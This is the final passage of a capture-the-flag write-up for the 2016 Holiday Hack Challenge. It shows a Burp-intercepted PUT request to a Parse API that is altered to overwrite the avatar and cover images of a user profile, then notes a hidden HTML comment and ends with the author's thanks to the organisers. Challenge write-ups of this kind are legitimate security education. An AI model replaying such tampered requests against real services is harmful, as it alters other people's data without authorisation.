    "isReported": true,
    [...]
}

As you can see we have two keys named coverImage and avatar. We can replace url and name for these two objects and send it back to the server to update user's data. To get an overview how does updating query look like try to change any value in your profile, save it and go to Burp.

PUT /parse/classes/_User/<your_objectID_here> HTTP/1.1
[...]

{"aboutMe":"about me","fullName":"Dr Who","objectId":"<your_objectID_here>","coverImage":{"__type":"File","name":"68dcb509f7430b75a9e93d010b13ccac_background.jpg","url":"http://www.northpolewonderland.com/parse/files/ciy248KmH8uo8efusuTQ/68dcb509f7430b75a9e93d010b13ccac_background.jpg"}, "avatar":{"__type":"File","name":"f3ce0062202e9795dcaddfe3c0a32b48_avatar.jpg","url":"http://www.northpolewonderland.com/parse/files/ciy248KmH8uo8efusuTQ/f3ce0062202e9795dcaddfe3c0a32b48_avatar.jpg"},"ACL":{"*":{"read":true},"JqDqMisDrf":{"read":true,"write":true}}}

If you resend that request and modify JSON object to reflect our two new keys, coverImage and avatar then it's going to update images on your profile. You need to logout and login once again before changes will be reflected in an application.

As a result we have a new avatar and background image set in the application:


Hidden CPT in the source code

There is a hidden comment in a source code of https://quest2016.holidayhackchallenge.com/ website.

<!-- 05CPT_is_best_CPT -->

Final thoughts

It was a really nice experience to finish all those quests, find coins and hack all servers. I hope that I didn't miss anything, there was actually a lot of things happening in a game. The one thing that left was this billboard in a game with days counter (The Grinch event). I added both dates from 1978, 2016 and as a result I found a references to Doctor Who episode with Nazi Vampires... don't know if related though.

Big thanks to organizers. I'm quite sure it took a tremendous amount of time to prepare everything from scenarios to graphics and keep infrastructure up and running.

↑ Back to TOP ↑


All posts